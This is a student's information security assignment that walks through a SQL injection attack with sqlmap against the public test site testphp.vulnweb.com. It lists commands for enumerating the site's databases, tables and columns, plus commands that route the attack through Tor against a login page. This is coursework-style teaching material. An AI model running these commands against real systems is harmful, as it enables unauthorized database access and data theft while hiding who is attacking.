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**Course:**  Information Security Section B

**Assignment 1**

* I have used sqlmap for conducting the attack on the website.
* the command that I have used in this attack using sql map with the link followed and –dbs for their database entry

sqlmap -u testphp.vulnweb.com/artists.php?artist=1 –dbs

* After this command entry the system showed two available databases

1. acuart
2. information\_schema

* so we used acuart. byt typing the command,

sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart –tables

* the –tables was used to get the table of acuart. so we got the table and the screenshot is in the other file.
* now I used the command

sqlmap –u testphp.vulnweb.com/artists.php?artist=1 –D acuart –T products –columns

in this command products is the table content and we have asked for the products that are in the database of acuart.

sqlmap -u "http://testsite.com/login.php" --tor --tor-type=SOCKS5

sqlmap -u "http://testsite.com/login.php" --time-sec 15

* In this way we can inject the website and get the database on the terminal.